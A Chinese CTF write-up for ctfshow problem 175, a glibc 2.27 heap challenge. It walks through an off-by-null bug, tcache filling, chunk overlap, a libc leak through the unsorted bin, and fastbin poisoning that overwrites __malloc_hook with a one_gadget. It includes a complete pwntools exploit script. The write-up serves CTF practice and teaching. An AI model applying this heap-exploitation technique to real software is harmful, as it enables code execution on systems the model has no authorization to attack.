高版本Tcache+off-by-one(二)

前言

暑假放假快20天了,之前一段时间学习时间虽然不短,但是效率比较低下,不得不说heap难度还是很大的。最近学习了很多的新东西,希望可以一直保持下去。这个题目还是ctfshow的题目-175题,难度感觉好像也不是特别大。可能是刷题刷多了,从量变慢慢过渡到量变,再外加点我个人的运气吧。这题和rctf2018_babyheap一样好像。

程序的保护

感觉基本的大部分的heap题目都是全部开的。有时候要是他少了个保护,我都会感觉这题难到飞起。这题是18.04的环境也就是2.27。

分析伪c函数

main函数就是正常的菜单题,但是没有edit函数这就很烦人。

delete函数,我只能说它删的很干净,一点不给我机会(uaf)

show函数也很正常吧。

add函数里面的sub_BC8()和calloc值得我们注意一下,且申请的chunk大小不能大于0x100

sub_BC8函数是写入函数。但是呢,存在off-by-null

下面说说那个calloc(v0, 1uLL),记得calloc不会从tcache中寻找合适的分配,只会从fast bin,small bin, unsorted bin来分配就行。

思路

利用那个off-by-null将堆重叠,通过unsortbins从而泄露libc地址。后面将chunk申请到__malloc_hook上面的方法似乎我是一步步调试出来的,不算具体什么方法。应该属于堆风水(随缘打法)但是成功了。

分析思路

1,万事开头难,第一步我当时也没搞对。但是吧,高版本libc有tcache一般都是后面慢慢调试更改的。先将后面会利用到的一定size的chunk对应的Tcache给填满。

    for i in range(7):
        add(0xf0,'A')#0-6
        add(0x18,'aaaa')#7-13
        add(0xa0,'cccc')#14 - 20
        add(0x68,'t')#21 - 27
    
    add(0xf8,'aaaa')#28
    add(0x18,'aaaa')#29
    add(0xf0,'cccc')#30
    add(0x28,'dddd')#31
    
    for i in range(28):
        free(i)#0-27被free掉了
    #将上面将对应大小的tcache填满

此时的bins

2,先将序号为28和29的chunk给free掉,再申请回来序号为29的chunk(因为先进后出)将序号为30的pre_size位修改为0x120(为序号28和29的size和),再通过off-by-one漏洞,将序号为30的size的低一字节改为"\x00",再将其free掉就会造成堆重叠。

    free(28)
    free(29)
    add(0x18,b'a'*0x10 + p64(0x120))#0
    free(30)

修改pre_size和size位。

此时因为free机制,就会将这三个chunk合并free掉,总的size为0x220为这三个的和

3,此时这个大的freechunk是再unsortbins里面的(因为tcache里面那三个小chunk对应的size已经被填满了),此时我们再将前面的序号为28的chunk给申请回来。因为程序使用的是calloc不会调用tcache里面的chunk,又因为unsortbins里面有chunk且大小够所以从中切割,不然从top_chunk里面切割。之后就会发现之前所覆盖的chunk里面被写上了unsortbins_addr,接下来show一下,就会泄露信息

    add(0xf0,'aaaa')#1

    show(0)

    leak_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
    main_arenas = leak_addr - 0x60
    __malloc_hook = main_arenas - 0x10
    libc_base = __malloc_hook - libc.sym["__malloc_hook"]
    __free_hook = libc_base + libc.sym["__free_hook"]
    fake_chunk = __malloc_hook - 0x23

    log.info(f'leak_addr = {hex(leak_addr)}')
    log.info(f'main_arenas = {hex(main_arenas)}')
    log.info(f'__malloc_hook = {hex(__malloc_hook)}')
    log.info(f'libc_base = {hex(libc_base)}')
    log.info(f'__free_hook = {hex(__free_hook)}')
    log.info(f'fake_chunk = {hex(fake_chunk)}')

分割,往序号为0的chunk写入信息

这里的fake_chunk是我当时直接调试出来的位置。在__malloc_hook - 0x23位置

4,申请0x100的chunk,将前面的还处于unsortbins里面的chunk给申请出来。肯定有人和我一样疑惑为什么申请0x100就可以申请完了?那个chunk的size大小不是0x120嘛?但是您不能忘掉了,那个0x120是您自己伪造的,其实第三块chunk的大小就是0x100。在利用off-by-null和前面手法一样,只不过利用的size大小不一样(为了后面可以申请到fake_chunk处)。

    add(0x100,'aaaa')#2

    add(0xf8,'aaaa')#3,此时chunk_3和chunk_0重叠了,不能用double free
    add(0x68,'bbbb')#4
    add(0xf8,'cccc')#5
    add(0x18,'aaaa')#6 隔离top chunk

    free(3)
    free(4)
    add(0x68,b'a'*0x60 + p64(0x170))#3
    free(5)

5,此时,有点尴尬。序号为3的chunk其实被我们申请出来的。但是呢,它因为堆重叠,还在unsortbins里面。此时unsortbins里面其内存再开头处

我们将序号为3的chunk给free掉,让其掉入fastbins里面。其也在unsortbins里面。是不是可以通过申请一个chunk来修改掉其fd指针从而可以伪造申请到我们所指定的位置

可以看到其之间相差0x100,因为我们不能直接申请0x100的chunk。所以通过两次申请chunk来修改fastbins里面chunk的fd指针。

    free(3)#这一步导致其进入到fastbins里面
    add(0xc0,'aaaa')#3
    add(0x38,b'a'*0x20 + p64(0) + p64(0x71) + p64(fake_chunk))#4
    

至于偏移啥的,都是自己调试计算出来的。但那个0x71是因为,你申请之后unsortbins还有chunk。你最好还是别动,因为我怕又报错。进而修改掉fastbins里面chunk的fd指针。使其指向fake_chunk位置

接下来就是申请过去,然后把__malloc_hook修改为one_gadget。

    add(0x68,'a')
    add(0x60,b'a'*0x13 + p64(oog[2] + libc_base))
    add(0x20,'aaa')

最后getshell

exp
def exp():
    oog = [0x4f2be,0x4f2c5,0x4f322,0x10a38c]#2.27
    
    def choice(c):
        io.recvuntil(':')
        io.sendline(str(c))

    def add(size,content):
        choice(1)
        io.recvuntil(':')
        io.sendline(str(size))
        io.recvuntil(':')
        io.sendline(content)

    def show(idx):
        choice(2)
        io.recvuntil(':')
        io.sendline(str(idx))

    def free(idx):
        choice(3)
        io.recvuntil(':')
        io.sendline(str(idx))
    
    for i in range(7):
        add(0xf0,'A')#0-6
        add(0x18,'aaaa')#7-13
        add(0xa0,'cccc')#14 - 20
        add(0x68,'t')#21 - 27
    
    add(0xf8,'aaaa')#28
    add(0x18,'aaaa')#29
    add(0xf0,'cccc')#30
    add(0x28,'dddd')#31
    
    for i in range(28):
        free(i)#0-27被free掉了
    #将上面将对应大小的tcache填满

    free(28)
    free(29)
    add(0x18,b'a'*0x10 + p64(0x120))#0
    free(30)
    
    # add(0xc0,'aaaa')#1
    # add(0x20,'aaaa')#2
    add(0xf0,'aaaa')#1

    show(0)

    leak_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
    main_arenas = leak_addr - 0x60
    __malloc_hook = main_arenas - 0x10
    libc_base = __malloc_hook - libc.sym["__malloc_hook"]
    __free_hook = libc_base + libc.sym["__free_hook"]
    fake_chunk = __malloc_hook - 0x23

    log.info(f'leak_addr = {hex(leak_addr)}')
    log.info(f'main_arenas = {hex(main_arenas)}')
    log.info(f'__malloc_hook = {hex(__malloc_hook)}')
    log.info(f'libc_base = {hex(libc_base)}')
    log.info(f'__free_hook = {hex(__free_hook)}')
    log.info(f'fake_chunk = {hex(fake_chunk)}')

    add(0x100,'aaaa')#2

    add(0xf8,'aaaa')#3,此时chunk_3和chunk_0重叠了,不能用double free
    add(0x68,'bbbb')#4
    add(0xf8,'cccc')#5
    add(0x18,'aaaa')#6 隔离top chunk

    free(3)
    free(4)
    add(0x68,b'a'*0x60 + p64(0x170))#3
    free(5)
    
    free(3)#这一步导致其进入到fastbins里面
    add(0xc0,'aaaa')#3
    add(0x38,b'a'*0x20 + p64(0) + p64(0x71) + p64(fake_chunk))#4
    
    add(0x68,'a')
    add(0x60,b'a'*0x13 + p64(oog[2] + libc_base))
    add(0x20,'aaa')
exp()  
io.interactive()   

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值